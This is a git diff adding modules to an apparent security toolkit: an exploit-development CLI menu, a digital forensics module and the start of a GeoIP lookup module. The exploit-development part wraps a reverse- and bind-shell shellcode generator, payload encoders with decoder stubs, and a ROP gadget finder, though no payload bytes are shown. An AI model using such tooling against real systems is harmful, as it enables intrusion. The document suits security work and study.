+ dev = get_exploit_dev()
+
+ while True:
+ clear_screen()
+ display_banner()
+ print(f"\n{Colors.RED}{Colors.BOLD} Exploit Development Toolkit{Colors.RESET}")
+ print(f"{Colors.DIM} Shellcode, encoders, ROP chains, patterns{Colors.RESET}")
+ print(f"\n{Colors.CYAN} 1{Colors.RESET} Shellcode Generator")
+ print(f"{Colors.CYAN} 2{Colors.RESET} Payload Encoder")
+ print(f"{Colors.CYAN} 3{Colors.RESET} Pattern Create")
+ print(f"{Colors.CYAN} 4{Colors.RESET} Pattern Offset")
+ print(f"{Colors.CYAN} 5{Colors.RESET} ROP Gadgets")
+ print(f"{Colors.CYAN} 6{Colors.RESET} Disassemble")
+ print(f"{Colors.CYAN} 0{Colors.RESET} Back")
+
+ choice = input(f"\n{Colors.WHITE} [{Colors.RED}exploit-dev{Colors.WHITE}]> {Colors.RESET}").strip()
+
+ if choice == '0':
+ break
+ elif choice == '1':
+ _cli_shellcode(dev)
+ elif choice == '2':
+ _cli_encoder(dev)
+ elif choice == '3':
+ _cli_pattern_create(dev)
+ elif choice == '4':
+ _cli_pattern_offset(dev)
+ elif choice == '5':
+ _cli_rop_gadgets(dev)
+ elif choice == '6':
+ _cli_disassemble(dev)
+
+
+def _cli_shellcode(dev):
+ """CLI: Shellcode generator."""
+ print(f"\n{Colors.BOLD}Available shellcode templates:{Colors.RESET}")
+ for sc in dev.list_shellcodes():
+ print(f" {Colors.CYAN}{sc['name']}{Colors.RESET} — {sc['description']} ({sc['length']} bytes)")
+
+ shell_type = input(f"\n{Colors.WHITE}Shell type (reverse_shell/bind_shell/execve): {Colors.RESET}").strip() or 'execve'
+ arch = input(f"{Colors.WHITE}Architecture (x86/x64/arm): {Colors.RESET}").strip() or 'x64'
+ platform = input(f"{Colors.WHITE}Platform (linux/windows): {Colors.RESET}").strip() or 'linux'
+ host = input(f"{Colors.WHITE}Host IP (for reverse/bind, or skip): {Colors.RESET}").strip()
+ port = input(f"{Colors.WHITE}Port (for reverse/bind, or skip): {Colors.RESET}").strip()
+ fmt = input(f"{Colors.WHITE}Output format (hex/c_array/python/nasm): {Colors.RESET}").strip() or 'hex'
+
+ result = dev.generate_shellcode(shell_type, arch, host or None, port or None, platform, output_format=fmt)
+ if 'error' in result:
+ print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}")
+ else:
+ print(f"\n{Colors.GREEN}[+] Generated {result['length']} bytes ({result['template']}){Colors.RESET}")
+ print(f"{Colors.DIM}{result['description']}{Colors.RESET}")
+ print(f"\n{result['shellcode']}")
+
+ input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+
+
+def _cli_encoder(dev):
+ """CLI: Payload encoder."""
+ sc_hex = input(f"\n{Colors.WHITE}Shellcode (hex): {Colors.RESET}").strip()
+ if not sc_hex:
+ return
+ encoder = input(f"{Colors.WHITE}Encoder (xor/aes/alphanumeric/polymorphic): {Colors.RESET}").strip() or 'xor'
+ key = input(f"{Colors.WHITE}Key (hex/string, or blank for random): {Colors.RESET}").strip() or None
+ iters = input(f"{Colors.WHITE}Iterations (default 1): {Colors.RESET}").strip() or '1'
+
+ result = dev.encode_payload(sc_hex, encoder, key, int(iters))
+ if 'error' in result:
+ print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}")
+ else:
+ print(f"\n{Colors.GREEN}[+] Encoded: {result['original_length']} -> {result['encoded_length']} bytes ({result['size_increase']}){Colors.RESET}")
+ print(f"Key: {result['key']}")
+ print(f"Null-free: {result['null_free']}")
+ print(f"\n{Colors.CYAN}Decoder Stub:{Colors.RESET}\n{result['decoder_stub']}")
+ print(f"\n{Colors.CYAN}Encoded payload (hex):{Colors.RESET}\n{result['encoded']}")
+
+ input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+
+
+def _cli_pattern_create(dev):
+ """CLI: Pattern create."""
+ length = input(f"\n{Colors.WHITE}Pattern length: {Colors.RESET}").strip()
+ if not length:
+ return
+ result = dev.generate_pattern(int(length))
+ if 'error' in result:
+ print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}")
+ else:
+ print(f"\n{Colors.GREEN}[+] Pattern ({result['length']} bytes):{Colors.RESET}")
+ print(result['pattern'])
+
+ input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+
+
+def _cli_pattern_offset(dev):
+ """CLI: Pattern offset finder."""
+ value = input(f"\n{Colors.WHITE}Value to find (hex/int/string): {Colors.RESET}").strip()
+ if not value:
+ return
+ length = input(f"{Colors.WHITE}Pattern length (default 20000): {Colors.RESET}").strip() or '20000'
+ result = dev.find_pattern_offset(value, int(length))
+ if result.get('offset', -1) >= 0:
+ print(f"\n{Colors.GREEN}[+] Found at offset: {result['offset']}{Colors.RESET}")
+ print(f" Matched: {result['matched']} ({result['endian']})")
+ else:
+ print(f"\n{Colors.RED}{result.get('error', 'Not found')}{Colors.RESET}")
+
+ input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+
+
+def _cli_rop_gadgets(dev):
+ """CLI: ROP gadget finder."""
+ binary = input(f"\n{Colors.WHITE}Binary path: {Colors.RESET}").strip()
+ if not binary:
+ return
+ gtype = input(f"{Colors.WHITE}Gadget type (all/pop_ret/xchg/mov/syscall/jmp_esp/call_reg): {Colors.RESET}").strip()
+ if gtype in ('', 'all'):
+ gtype = None
+ result = dev.find_rop_gadgets(binary, gtype)
+ if 'error' in result:
+ print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}")
+ else:
+ print(f"\n{Colors.GREEN}[+] Found {result['count']} gadgets (via {result['tool']}){Colors.RESET}\n")
+ for g in result['gadgets'][:50]:
+ print(f" {Colors.CYAN}{g['address']}{Colors.RESET}: {g['gadget']} [{g['type']}]")
+ if result['count'] > 50:
+ print(f"\n ... and {result['count'] - 50} more")
+
+ input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+
+
+def _cli_disassemble(dev):
+ """CLI: Disassemble hex bytes."""
+ hex_data = input(f"\n{Colors.WHITE}Hex bytes: {Colors.RESET}").strip()
+ if not hex_data:
+ return
+ arch = input(f"{Colors.WHITE}Architecture (x86/x64/arm): {Colors.RESET}").strip() or 'x64'
+ result = dev.disassemble(hex_data, arch)
+ if 'error' in result:
+ print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}")
+ else:
+ print(f"\n{Colors.GREEN}[+] {result['count']} instructions (via {result['tool']}){Colors.RESET}\n")
+ print(result['listing'])
+
+ input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+
+
+# ---------------------------------------------------------------------------
+# Singleton
+# ---------------------------------------------------------------------------
+
+_instance = None
+
+
+def get_exploit_dev() -> ExploitDev:
+ """Get singleton ExploitDev instance."""
+ global _instance
+ if _instance is None:
+ _instance = ExploitDev()
+ return _instance
diff --git a/modules/forensics.py b/modules/forensics.py
new file mode 100644
index 0000000..5aeb5fb
--- /dev/null
+++ b/modules/forensics.py
@@ -0,0 +1,595 @@
+"""AUTARCH Forensics Toolkit
+
+Disk imaging, file carving, metadata extraction, timeline building,
+hash verification, and chain of custody logging for digital forensics.
+"""
+
+DESCRIPTION = "Digital forensics & evidence analysis"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "analyze"
+
+import os
+import re
+import json
+import time
+import hashlib
+import struct
+import shutil
+import subprocess
+from pathlib import Path
+from datetime import datetime, timezone
+from typing import Dict, List, Optional, Any, Tuple
+
+try:
+ from core.paths import find_tool, get_data_dir
+except ImportError:
+ def find_tool(name):
+ return shutil.which(name)
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+# Optional imports
+try:
+ from PIL import Image as PILImage
+ from PIL.ExifTags import TAGS, GPSTAGS
+ HAS_PIL = True
+except ImportError:
+ HAS_PIL = False
+
+
+# ── File Signatures for Carving ──────────────────────────────────────────────
+
+FILE_SIGNATURES = [
+ {'name': 'JPEG', 'ext': '.jpg', 'magic': b'\xFF\xD8\xFF', 'footer': b'\xFF\xD9', 'max_size': 50*1024*1024},
+ {'name': 'PNG', 'ext': '.png', 'magic': b'\x89PNG\r\n\x1a\n', 'footer': b'IEND\xAE\x42\x60\x82', 'max_size': 50*1024*1024},
+ {'name': 'GIF', 'ext': '.gif', 'magic': b'GIF8', 'footer': b'\x00\x3B', 'max_size': 20*1024*1024},
+ {'name': 'PDF', 'ext': '.pdf', 'magic': b'%PDF', 'footer': b'%%EOF', 'max_size': 100*1024*1024},
+ {'name': 'ZIP', 'ext': '.zip', 'magic': b'PK\x03\x04', 'footer': None, 'max_size': 500*1024*1024},
+ {'name': 'RAR', 'ext': '.rar', 'magic': b'Rar!\x1a\x07', 'footer': None, 'max_size': 500*1024*1024},
+ {'name': 'ELF', 'ext': '.elf', 'magic': b'\x7fELF', 'footer': None, 'max_size': 100*1024*1024},
+ {'name': 'PE/EXE', 'ext': '.exe', 'magic': b'MZ', 'footer': None, 'max_size': 100*1024*1024},
+ {'name': 'SQLite', 'ext': '.sqlite', 'magic': b'SQLite format 3\x00', 'footer': None, 'max_size': 500*1024*1024},
+ {'name': 'DOCX', 'ext': '.docx', 'magic': b'PK\x03\x04', 'footer': None, 'max_size': 100*1024*1024},
+ {'name': '7z', 'ext': '.7z', 'magic': b"7z\xBC\xAF'\x1C", 'footer': None, 'max_size': 500*1024*1024},
+ {'name': 'BMP', 'ext': '.bmp', 'magic': b'BM', 'footer': None, 'max_size': 50*1024*1024},
+ {'name': 'MP3', 'ext': '.mp3', 'magic': b'\xFF\xFB', 'footer': None, 'max_size': 50*1024*1024},
+ {'name': 'MP4', 'ext': '.mp4', 'magic': b'\x00\x00\x00\x18ftyp', 'footer': None, 'max_size': 1024*1024*1024},
+ {'name': 'AVI', 'ext': '.avi', 'magic': b'RIFF', 'footer': None, 'max_size': 1024*1024*1024},
+]
+
+
+# ── Chain of Custody Logger ──────────────────────────────────────────────────
+
+class CustodyLog:
+ """Chain of custody logging for forensic evidence."""
+
+ def __init__(self, data_dir: str):
+ self.log_file = os.path.join(data_dir, 'custody_log.json')
+ self.entries: List[Dict] = []
+ self._load()
+
+ def _load(self):
+ if os.path.exists(self.log_file):
+ try:
+ with open(self.log_file) as f:
+ self.entries = json.load(f)
+ except Exception:
+ pass
+
+ def _save(self):
+ with open(self.log_file, 'w') as f:
+ json.dump(self.entries, f, indent=2)
+
+ def log(self, action: str, target: str, details: str = "",
+ evidence_hash: str = "") -> Dict:
+ """Log a forensic action."""
+ entry = {
+ 'id': len(self.entries) + 1,
+ 'timestamp': datetime.now(timezone.utc).isoformat(),
+ 'action': action,
+ 'target': target,
+ 'details': details,
+ 'evidence_hash': evidence_hash,
+ 'user': os.getenv('USER', os.getenv('USERNAME', 'unknown'))
+ }
+ self.entries.append(entry)
+ self._save()
+ return entry
+
+ def get_log(self) -> List[Dict]:
+ return self.entries
+
+
+# ── Forensics Engine ─────────────────────────────────────────────────────────
+
+class ForensicsEngine:
+ """Digital forensics toolkit."""
+
+ def __init__(self):
+ self.data_dir = os.path.join(get_data_dir(), 'forensics')
+ os.makedirs(self.data_dir, exist_ok=True)
+ self.evidence_dir = os.path.join(self.data_dir, 'evidence')
+ os.makedirs(self.evidence_dir, exist_ok=True)
+ self.carved_dir = os.path.join(self.data_dir, 'carved')
+ os.makedirs(self.carved_dir, exist_ok=True)
+ self.custody = CustodyLog(self.data_dir)
+ self.dd = find_tool('dd') or shutil.which('dd')
+
+ # ── Hash Verification ────────────────────────────────────────────────
+
+ def hash_file(self, filepath: str, algorithms: List[str] = None) -> Dict:
+ """Calculate file hashes for evidence integrity."""
+ algorithms = algorithms or ['md5', 'sha1', 'sha256']
+
+ if not os.path.exists(filepath):
+ return {'ok': False, 'error': 'File not found'}
+
+ try:
+ hashers = {alg: hashlib.new(alg) for alg in algorithms}
+ file_size = os.path.getsize(filepath)
+
+ with open(filepath, 'rb') as f:
+ while True:
+ chunk = f.read(8192)
+ if not chunk:
+ break
+ for h in hashers.values():
+ h.update(chunk)
+
+ hashes = {alg: h.hexdigest() for alg, h in hashers.items()}
+
+ self.custody.log('hash_verify', filepath,
+ f'Hashes: {", ".join(f"{k}={v[:16]}..." for k, v in hashes.items())}',
+ hashes.get('sha256', ''))
+
+ return {
+ 'ok': True, 'file': filepath,
+ 'size': file_size, 'hashes': hashes
+ }
+
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def verify_hash(self, filepath: str, expected_hash: str,
+ algorithm: str = None) -> Dict:
+ """Verify file against expected hash."""
+ # Auto-detect algorithm from hash length
+ if not algorithm:
+ hash_len = len(expected_hash)
+ algorithm = {32: 'md5', 40: 'sha1', 64: 'sha256', 128: 'sha512'}.get(hash_len)
+ if not algorithm:
+ return {'ok': False, 'error': f'Cannot detect algorithm for hash length {hash_len}'}
+
+ result = self.hash_file(filepath, [algorithm])
+ if not result['ok']:
+ return result
+
+ actual = result['hashes'][algorithm]
+ match = actual.lower() == expected_hash.lower()
+
+ self.custody.log('hash_verify', filepath,
+ f'Expected: {expected_hash[:16]}... Match: {match}')
+
+ return {
+ 'ok': True, 'match': match,
+ 'algorithm': algorithm,
+ 'expected': expected_hash,
+ 'actual': actual,
+ 'file': filepath
+ }
+
+ # ── Disk Imaging ─────────────────────────────────────────────────────
+
+ def create_image(self, source: str, output: str = None,
+ block_size: int = 4096) -> Dict:
+ """Create forensic disk image using dd."""
+ if not self.dd:
+ return {'ok': False, 'error': 'dd not found'}
+
+ if not output:
+ name = Path(source).name.replace('/', '_')
+ output = os.path.join(self.evidence_dir, f'{name}_{int(time.time())}.img')
+
+ self.custody.log('disk_image', source, f'Creating image: {output}')
+
+ try:
+ result = subprocess.run(
+ [self.dd, f'if={source}', f'of={output}', f'bs={block_size}',
+ 'conv=noerror,sync', 'status=progress'],
+ capture_output=True, text=True, timeout=3600
+ )
+
+ if os.path.exists(output):
+ # Hash the image
+ hashes = self.hash_file(output, ['md5', 'sha256'])
+
+ self.custody.log('disk_image_complete', output,
+ f'Image created, SHA256: {hashes.get("hashes", {}).get("sha256", "?")}')
+
+ return {
+ 'ok': True, 'source': source, 'output': output,
+ 'size': os.path.getsize(output),
+ 'hashes': hashes.get('hashes', {}),
+ 'dd_output': result.stderr
+ }
+ return {'ok': False, 'error': 'Image file not created', 'stderr': result.stderr}
+
+ except subprocess.TimeoutExpired:
+ return {'ok': False, 'error': 'Imaging timed out (1hr limit)'}
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ # ── File Carving ─────────────────────────────────────────────────────
+
+ def carve_files(self, source: str, file_types: List[str] = None,
+ max_files: int = 100) -> Dict:
+ """Recover files from raw data by magic byte signatures."""
+ if not os.path.exists(source):
+ return {'ok': False, 'error': 'Source file not found'}
+
+ self.custody.log('file_carving', source, f'Starting carve, types={file_types}')
+
+ # Filter signatures
+ sigs = FILE_SIGNATURES
+ if file_types:
+ type_set = {t.lower() for t in file_types}
+ sigs = [s for s in sigs if s['name'].lower() in type_set or
+ s['ext'].lstrip('.').lower() in type_set]
+
+ carved = []
+ file_size = os.path.getsize(source)
+ chunk_size = 1024 * 1024 # 1MB chunks
+
+ try:
+ with open(source, 'rb') as f:
+ offset = 0
+ while offset < file_size and len(carved) < max_files:
+ f.seek(offset)
+ chunk = f.read(chunk_size)
+ if not chunk:
+ break
+
+ for sig in sigs:
+ pos = 0
+ while pos < len(chunk) and len(carved) < max_files:
+ idx = chunk.find(sig['magic'], pos)
+ if idx == -1:
+ break
+
+ abs_offset = offset + idx
+ # Try to find file end
+ file_end = abs_offset + sig['max_size']
+ if sig['footer']:
+ f.seek(abs_offset)
+ search_data = f.read(min(sig['max_size'], file_size - abs_offset))
+ footer_pos = search_data.find(sig['footer'], len(sig['magic']))
+ if footer_pos != -1:
+ file_end = abs_offset + footer_pos + len(sig['footer'])
+
+ # Extract file
+ extract_size = min(file_end - abs_offset, sig['max_size'])
+ f.seek(abs_offset)
+ file_data = f.read(extract_size)
+
+ # Save carved file
+ carved_name = f'carved_{len(carved):04d}_{sig["name"]}{sig["ext"]}'
+ carved_path = os.path.join(self.carved_dir, carved_name)
+ with open(carved_path, 'wb') as cf:
+ cf.write(file_data)
+
+ file_hash = hashlib.md5(file_data).hexdigest()
+ carved.append({
+ 'name': carved_name,
+ 'path': carved_path,
+ 'type': sig['name'],
+ 'offset': abs_offset,
+ 'size': len(file_data),
+ 'md5': file_hash
+ })
+
+ pos = idx + len(sig['magic'])
+
+ offset += chunk_size - max(len(s['magic']) for s in sigs)
+
+ self.custody.log('file_carving_complete', source,
+ f'Carved {len(carved)} files')
+
+ return {
+ 'ok': True, 'source': source,
+ 'carved': carved, 'count': len(carved),
+ 'output_dir': self.carved_dir
+ }
+
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ # ── Metadata Extraction ──────────────────────────────────────────────
+
+ def extract_metadata(self, filepath: str) -> Dict:
+ """Extract metadata from files (EXIF, PDF, Office, etc.)."""
+ if not os.path.exists(filepath):
+ return {'ok': False, 'error': 'File not found'}
+
+ ext = Path(filepath).suffix.lower()
+ metadata = {
+ 'file': filepath,
+ 'name': Path(filepath).name,
+ 'size': os.path.getsize(filepath),
+ 'created': datetime.fromtimestamp(os.path.getctime(filepath), timezone.utc).isoformat(),
+ 'modified': datetime.fromtimestamp(os.path.getmtime(filepath), timezone.utc).isoformat(),
+ 'accessed': datetime.fromtimestamp(os.path.getatime(filepath), timezone.utc).isoformat(),
+ }
+
+ # EXIF for images
+ if ext in ('.jpg', '.jpeg', '.tiff', '.tif', '.png') and HAS_PIL:
+ try:
+ img = PILImage.open(filepath)
+ metadata['image'] = {
+ 'width': img.size[0], 'height': img.size[1],
+ 'format': img.format, 'mode': img.mode
+ }
+ exif = img._getexif()
+ if exif:
+ exif_data = {}
+ gps_data = {}
+ for tag_id, value in exif.items():
+ tag = TAGS.get(tag_id, tag_id)
+ if tag == 'GPSInfo':
+ for gps_id, gps_val in value.items():
+ gps_tag = GPSTAGS.get(gps_id, gps_id)
+ gps_data[str(gps_tag)] = str(gps_val)
+ else:
+ # Convert bytes to string for JSON serialization
+ if isinstance(value, bytes):
+ try:
+ value = value.decode('utf-8', errors='replace')
+ except Exception:
+ value = value.hex()
+ exif_data[str(tag)] = str(value)
+ metadata['exif'] = exif_data
+ if gps_data:
+ metadata['gps'] = gps_data
+ except Exception:
+ pass
+
+ # PDF metadata
+ elif ext == '.pdf':
+ try:
+ with open(filepath, 'rb') as f:
+ content = f.read(4096)
+ # Extract info dict
+ for key in [b'/Title', b'/Author', b'/Subject', b'/Creator',
+ b'/Producer', b'/CreationDate', b'/ModDate']:
+ pattern = key + rb'\s*\(([^)]*)\)'
+ m = re.search(pattern, content)
+ if m:
+ k = key.decode().lstrip('/')
+ metadata.setdefault('pdf', {})[k] = m.group(1).decode('utf-8', errors='replace')
+ except Exception:
+ pass
+
+ # Generic file header
+ try:
+ with open(filepath, 'rb') as f:
+ header = f.read(16)
+ metadata['magic_bytes'] = header.hex()
+ for sig in FILE_SIGNATURES:
+ if header.startswith(sig['magic']):
+ metadata['detected_type'] = sig['name']
+ break
+ except Exception:
+ pass
+
+ self.custody.log('metadata_extract', filepath, f'Type: {metadata.get("detected_type", "unknown")}')
+
+ return {'ok': True, **metadata}
+
+ # ── Timeline Builder ─────────────────────────────────────────────────
+
+ def build_timeline(self, directory: str, recursive: bool = True,
+ max_entries: int = 10000) -> Dict:
+ """Build filesystem timeline from directory metadata."""
+ if not os.path.exists(directory):
+ return {'ok': False, 'error': 'Directory not found'}
+
+ events = []
+ count = 0
+
+ walk_fn = os.walk if recursive else lambda d: [(d, [], os.listdir(d))]
+ for root, dirs, files in walk_fn(directory):
+ for name in files:
+ if count >= max_entries:
+ break
+ filepath = os.path.join(root, name)
+ try:
+ stat = os.stat(filepath)
+ events.append({
+ 'type': 'modified',
+ 'timestamp': datetime.fromtimestamp(stat.st_mtime, timezone.utc).isoformat(),
+ 'epoch': stat.st_mtime,
+ 'file': filepath,
+ 'size': stat.st_size
+ })
+ events.append({
+ 'type': 'created',
+ 'timestamp': datetime.fromtimestamp(stat.st_ctime, timezone.utc).isoformat(),
+ 'epoch': stat.st_ctime,
+ 'file': filepath,
+ 'size': stat.st_size
+ })
+ events.append({
+ 'type': 'accessed',
+ 'timestamp': datetime.fromtimestamp(stat.st_atime, timezone.utc).isoformat(),
+ 'epoch': stat.st_atime,
+ 'file': filepath,
+ 'size': stat.st_size
+ })
+ count += 1
+ except (OSError, PermissionError):
+ pass
+
+ # Sort by timestamp
+ events.sort(key=lambda e: e['epoch'])
+
+ self.custody.log('timeline_build', directory,
+ f'{count} files, {len(events)} events')
+
+ return {
+ 'ok': True, 'directory': directory,
+ 'events': events, 'event_count': len(events),
+ 'file_count': count
+ }
+
+ # ── Evidence Management ──────────────────────────────────────────────
+
+ def list_evidence(self) -> List[Dict]:
+ """List evidence files."""
+ evidence = []
+ edir = Path(self.evidence_dir)
+ for f in sorted(edir.iterdir()):
+ if f.is_file():
+ evidence.append({
+ 'name': f.name,
+ 'path': str(f),
+ 'size': f.stat().st_size,
+ 'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat()
+ })
+ return evidence
+
+ def list_carved(self) -> List[Dict]:
+ """List carved files."""
+ carved = []
+ cdir = Path(self.carved_dir)
+ for f in sorted(cdir.iterdir()):
+ if f.is_file():
+ carved.append({
+ 'name': f.name,
+ 'path': str(f),
+ 'size': f.stat().st_size
+ })
+ return carved
+
+ def get_custody_log(self) -> List[Dict]:
+ """Get chain of custody log."""
+ return self.custody.get_log()
+
+
+# ── Singleton ────────────────────────────────────────────────────────────────
+
+_instance = None
+
+def get_forensics() -> ForensicsEngine:
+ global _instance
+ if _instance is None:
+ _instance = ForensicsEngine()
+ return _instance
+
+
+# ── CLI Interface ────────────────────────────────────────────────────────────
+
+def run():
+ """CLI entry point for Forensics module."""
+ engine = get_forensics()
+
+ while True:
+ print(f"\n{'='*60}")
+ print(f" Digital Forensics Toolkit")
+ print(f"{'='*60}")
+ print()
+ print(" 1 — Hash File (integrity verification)")
+ print(" 2 — Verify Hash")
+ print(" 3 — Create Disk Image")
+ print(" 4 — Carve Files (recover deleted)")
+ print(" 5 — Extract Metadata (EXIF/PDF/headers)")
+ print(" 6 — Build Timeline")
+ print(" 7 — List Evidence")
+ print(" 8 — List Carved Files")
+ print(" 9 — Chain of Custody Log")
+ print(" 0 — Back")
+ print()
+
+ choice = input(" > ").strip()
+
+ if choice == '0':
+ break
+ elif choice == '1':
+ filepath = input(" File path: ").strip()
+ if filepath:
+ result = engine.hash_file(filepath)
+ if result['ok']:
+ print(f" Size: {result['size']} bytes")
+ for alg, h in result['hashes'].items():
+ print(f" {alg.upper()}: {h}")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '2':
+ filepath = input(" File path: ").strip()
+ expected = input(" Expected hash: ").strip()
+ if filepath and expected:
+ result = engine.verify_hash(filepath, expected)
+ if result['ok']:
+ status = 'MATCH' if result['match'] else 'MISMATCH'
+ print(f" {status} ({result['algorithm'].upper()})")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '3':
+ source = input(" Source device/file: ").strip()
+ output = input(" Output path (blank=auto): ").strip() or None
+ if source:
+ result = engine.create_image(source, output)
+ if result['ok']:
+ mb = result['size'] / (1024*1024)
+ print(f" Image created: {result['output']} ({mb:.1f} MB)")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '4':
+ source = input(" Source file/image: ").strip()
+ types = input(" File types (blank=all, comma-sep): ").strip()
+ if source:
+ file_types = [t.strip() for t in types.split(',')] if types else None
+ result = engine.carve_files(source, file_types)
+ if result['ok']:
+ print(f" Carved {result['count']} files to {result['output_dir']}")
+ for c in result['carved'][:10]:
+ print(f" {c['name']} {c['type']} {c['size']} bytes offset={c['offset']}")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '5':
+ filepath = input(" File path: ").strip()
+ if filepath:
+ result = engine.extract_metadata(filepath)
+ if result['ok']:
+ print(f" Name: {result['name']}")
+ print(f" Size: {result['size']}")
+ print(f" Type: {result.get('detected_type', 'unknown')}")
+ if 'exif' in result:
+ print(f" EXIF entries: {len(result['exif'])}")
+ for k, v in list(result['exif'].items())[:5]:
+ print(f" {k}: {v[:50]}")
+ if 'gps' in result:
+ print(f" GPS data: {result['gps']}")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '6':
+ directory = input(" Directory path: ").strip()
+ if directory:
+ result = engine.build_timeline(directory)
+ if result['ok']:
+ print(f" {result['file_count']} files, {result['event_count']} events")
+ for e in result['events'][:10]:
+ print(f" {e['timestamp']} {e['type']:<10} {Path(e['file']).name}")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '7':
+ for e in engine.list_evidence():
+ mb = e['size'] / (1024*1024)
+ print(f" {e['name']} ({mb:.1f} MB)")
+ elif choice == '8':
+ for c in engine.list_carved():
+ print(f" {c['name']} ({c['size']} bytes)")
+ elif choice == '9':
+ log = engine.get_custody_log()
+ print(f" {len(log)} entries:")
+ for entry in log[-10:]:
+ print(f" [{entry['timestamp'][:19]}] {entry['action']}: {entry['target']}")
diff --git a/modules/geoip.py b/modules/geoip.py
new file mode 100644
index 0000000..d992857
--- /dev/null
+++ b/modules/geoip.py
@@ -0,0 +1,443 @@
+"""
+AUTARCH GEO IP/Domain Lookup Module
+Get geolocation info for IPs, domains, and URLs
+Based on Snoop Project's GEO_IP/domain plugin
+"""
+
+import ipaddress
+import json
+import os
+import socket
+import sys
+import threading
+import time
+from pathlib import Path
+from urllib.parse import urlparse
+
+# Add parent directory to path for imports
+sys.path.insert(0, str(Path(__file__).parent.parent))
+
+from core.banner import Colors
+
+# Module metadata
+NAME = "GEO IP Lookup"
+DESCRIPTION = "Get geolocation for IPs, domains, and URLs"
+AUTHOR = "darkHal Security Group"
+VERSION = "1.0"
+CATEGORY = "osint"
+
+# Try to import requests
+try:
+ import requests
+except ImportError:
+ requests = None
+
+
+class GeoIPLookup:
+ """GEO IP/Domain lookup utility."""
+
+ def __init__(self):
+ self.session = None
+ self.timeout = 10
+ self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36"
+ self._init_session()
+
+ def _init_session(self):
+ """Initialize requests session."""
+ if requests is None:
+ return
+
+ self.session = requests.Session()
+ adapter = requests.adapters.HTTPAdapter(max_retries=2)
+ self.session.mount('https://', adapter)
+ self.session.mount('http://', adapter)
+ self.session.headers.update({'User-Agent': self.user_agent})
+
+ def _resolve_domain(self, target: str, timeout: int = 4) -> dict:
+ """Resolve domain to IP addresses.
+
+ Args:
+ target: Domain name or IP address.
+ timeout: Socket timeout in seconds.
+
+ Returns:
+ Dict with resolved IPs and domain info.
+ """
+ result = {
+ 'domain': None,
+ 'ipv4': None,
+ 'ipv6': None,
+ }
+
+ def get_fqdn():
+ try:
+ result['domain'] = socket.getfqdn(target)
+ except Exception:
+ result['domain'] = target
+
+ def get_ips():
+ try:
+ addr_info = socket.getaddrinfo(target, 443)
+ for info in addr_info:
+ ip = info[4][0]
+ try:
+ if ipaddress.IPv4Address(ip):
+ result['ipv4'] = ip
+ except Exception:
+ pass
+ try:
+ if ipaddress.IPv6Address(ip):
+ result['ipv6'] = ip
+ except Exception:
+ pass
+ except Exception:
+ pass
+
+ # Run in threads with timeout
+ t1 = threading.Thread(target=get_fqdn)
+ t2 = threading.Thread(target=get_ips)
+ t1.start()
+ t2.start()
+ t1.join(timeout)
+ t2.join(timeout)
+
+ return result
+
+ def _parse_target(self, target: str) -> str:
+ """Parse and clean target input.
+
+ Args:
+ target: User input (IP, domain, or URL).
+
+ Returns:
+ Cleaned target string.
+ """
+ target = target.strip()
+
+ # Check if it's a URL
+ if '://' in target:
+ parsed = urlparse(target)
+ if parsed.hostname:
+ target = parsed.hostname.replace('www.', '')
+ elif '/' in target:
+ target = target.split('/')[0]
+
+ return target
+
+ def _is_ip(self, target: str) -> bool:
+ """Check if target is an IP address."""
+ try:
+ ipaddress.ip_address(target)
+ return True
+ except Exception:
+ return False
+
+ def lookup(self, target: str) -> dict:
+ """Perform GEO IP lookup.
+
+ Args:
+ target: IP address, domain, or URL.
+
+ Returns:
+ Dict with geolocation information.
+ """
+ if self.session is None:
+ return {'error': 'requests library not available'}
+
+ target = self._parse_target(target)
+
+ # Validate input
+ if not target or len(target) < 4:
+ return {'error': 'Invalid target'}
+
+ if '..' in target:
+ return {'error': 'Invalid target format'}
+
+ result = {
+ 'target': target,
+ 'country_code': None,
+ 'country': None,
+ 'region': None,
+ 'city': None,
+ 'latitude': None,
+ 'longitude': None,
+ 'isp': None,
+ 'org': None,
+ 'ipv4': None,
+ 'ipv6': None,
+ 'domain': None,
+ 'map_osm': None,
+ 'map_google': None,
+ }
+
+ # Resolve domain/IP
+ print(f"{Colors.CYAN}[*] Resolving target...{Colors.RESET}")
+ resolved = self._resolve_domain(target)
+ result['domain'] = resolved.get('domain')
+ result['ipv4'] = resolved.get('ipv4')
+ result['ipv6'] = resolved.get('ipv6')
+
+ # If target is IP, use it directly
+ if self._is_ip(target):
+ try:
+ if ipaddress.IPv4Address(target):
+ result['ipv4'] = target
+ except Exception:
+ pass
+ try:
+ if ipaddress.IPv6Address(target):
+ result['ipv6'] = target
+ except Exception:
+ pass
+
+ # Determine IP to lookup
+ lookup_ip = result['ipv4'] or target
+
+ # Try ipwho.is first
+ print(f"{Colors.CYAN}[*] Querying geolocation APIs...{Colors.RESET}")
+ geo_data = self._query_ipwhois(lookup_ip)
+
+ if not geo_data or geo_data.get('success') is False:
+ # Fallback to ipinfo.io
+ geo_data = self._query_ipinfo(lookup_ip)
+
+ if geo_data:
+ result['country_code'] = geo_data.get('country_code') or geo_data.get('country')
